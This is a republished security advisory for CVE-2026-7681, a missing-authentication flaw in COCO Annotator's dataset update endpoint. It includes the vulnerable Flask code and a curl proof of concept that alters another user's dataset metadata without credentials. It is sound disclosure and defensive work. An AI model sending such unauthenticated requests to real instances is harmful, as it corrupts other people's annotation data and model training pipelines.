⚠ Replicated advisory. This post reproduces an advisory originally researched and published under the Thoropass Vulnerability Research Program. It is republished here for reference. The original disclosure followed coordinated vulnerability disclosure and the rules of the CVE Program.

🔗 Original advisory: https://github.com/heylaika/vuln-research-program/tree/main/2026/CVE-2026-7681%20-%20COCO%20Annotator%20-%20Unauthenticated%20Dataset%20Modification%20via%20Missing%20Authentication
📋 CVE record: CVE-2026-7681

Advisory Information

  
ResearcherNatan Morette on behalf of Thoropass
ProductCOCO Annotator - Open-source, web-based image annotation platform used to build datasets for computer vision and machine learning workflows, supporting the COCO dataset format.
Affected Versionv0.11.1 and all prior versions
Endpointbackend/webserver/api/datasets.py — DatasetId resource, POST method
Vulnerability TypeCWE-306: Missing Authentication for Critical Function
CVE IDCVE-2026-7681

Vulnerability Summary

A missing authentication vulnerability exists in the COCO Annotator dataset management API. The POST /api/dataset/<id> endpoint, which updates a dataset’s categories and default annotation metadata, is missing the @login_required decorator. This allows any unauthenticated, anonymous attacker to modify any dataset in the system with a single HTTP request — no credentials, no session cookie, and no token required.

The DELETE method on the same route is correctly protected with @login_required, making this an oversight where only the POST method was left unprotected.

Technical Analysis

Vulnerable Code

File: backend/webserver/api/datasets.py, lines 234–287

@api.route('/<int:dataset_id>')
class DatasetId(Resource):

    @login_required                      # ← DELETE is protected
    def delete(self, dataset_id):
        """ Deletes dataset by ID (only owners)"""
        ...

    @api.expect(update_dataset)          # ← POST is NOT protected
    def post(self, dataset_id):          # ← NO @login_required!
        """ Updates dataset by ID """
        dataset = current_user.datasets.filter(id=dataset_id, deleted=False).first()
        ...
        dataset.update(
            categories=dataset.categories,
            default_annotation_metadata=dataset.default_annotation_metadata
        )
        return {"success": True}

Root Cause

The POST method on the DatasetId resource (line 252) is missing the @login_required decorator. When an unauthenticated request reaches this endpoint, Flask-Login falls back to the AnonymousUser class, which grants unrestricted access to all datasets and returns True for all permission checks:

File: backend/webserver/authentication.py

class AnonymousUser(AnonymousUserMixin):
    @property
    def datasets(self):
        return DatasetModel.objects    # ← returns ALL datasets

    def can_edit(self, model):
        return True                    # ← always True

This means that when an unauthenticated request hits POST /api/dataset/<id>, current_user resolves to AnonymousUser, whose .datasets returns all datasets in the database — so .filter(id=dataset_id) matches any dataset regardless of ownership, and the update succeeds.

Proof of Concept

Step 1 — Login as the dataset owner and check current metadata

curl -s -X POST http://TARGET:5001/api/user/login -H "Content-Type: application/json" -d '{"username":"victim","password":"password"}' -c cookies.txt
curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]"
{
  "id": 3,
  "name": "my-dataset",
  "owner": "victim",
  "default_annotation_metadata": {}
}

Step 2 — Modify the dataset WITHOUT any authentication

No cookies, no token, no session — completely unauthenticated:

curl -s -X POST http://TARGET:5001/api/dataset/3 -H "Content-Type: application/json" -d '{"default_annotation_metadata":{"hacked_by":"unauthenticated_attacker","compromised":true}}'
{"success": true}

Step 3 — Verify the dataset was tampered with

curl -s http://TARGET:5001/api/dataset/ -b cookies.txt | python3 -c "import sys,json; [print(json.dumps(ds,indent=2)) for ds in json.load(sys.stdin) if ds['id']==3]"
{
  "id": 3,
  "name": "my-dataset",
  "owner": "victim",
  "default_annotation_metadata": {
    "hacked_by": "unauthenticated_attacker",
    "compromised": true
  }
}

The metadata was injected by an unauthenticated request into a dataset owned by another user.

Impact

  • Unauthenticated data modification — any anonymous attacker on the network can modify the categories and default annotation metadata of ANY dataset in the system, without any credentials
  • Annotation metadata injection — the default_annotation_metadata field is propagated to all annotations in the dataset via AnnotationModel.objects(...).update(**update) (line 279), meaning injected metadata contaminates the entire annotation pipeline
  • Data integrity corruption — in production ML/CV workflows, corrupted annotation metadata can silently degrade model training quality, with downstream effects that may go undetected for extended periods
  • No privilege required — this is a fully unauthenticated attack (PR:N). No account registration, no session, no cookies, no tokens — a single HTTP POST is sufficient
  • Trivial exploitation — the attack consists of a single HTTP request, making it scriptable and automatable against any exposed COCO Annotator instance

References

⚠️ Disclaimer

The vulnerability was identified through authorized security testing. The proof of concept is provided to help defenders validate their exposure and verify remediation.

Thoropass follows coordinated vulnerability disclosure (CVD) principles. Vulnerabilities are reported privately to maintainers, reasonable time is provided for remediation, and public advisories are released after coordination or fix availability.

About Thoropass

Thoropass delivers enterprise-grade audits with AI-native speed and precision. Designed from day one to integrate auditors, automation, and infosec workflows in a single, closed-loop system, no add-ons, no handoffs.

Our experienced penetration testing team proactively discovers vulnerabilities in web applications, APIs, and infrastructure — helping organizations secure their systems before attackers find weaknesses.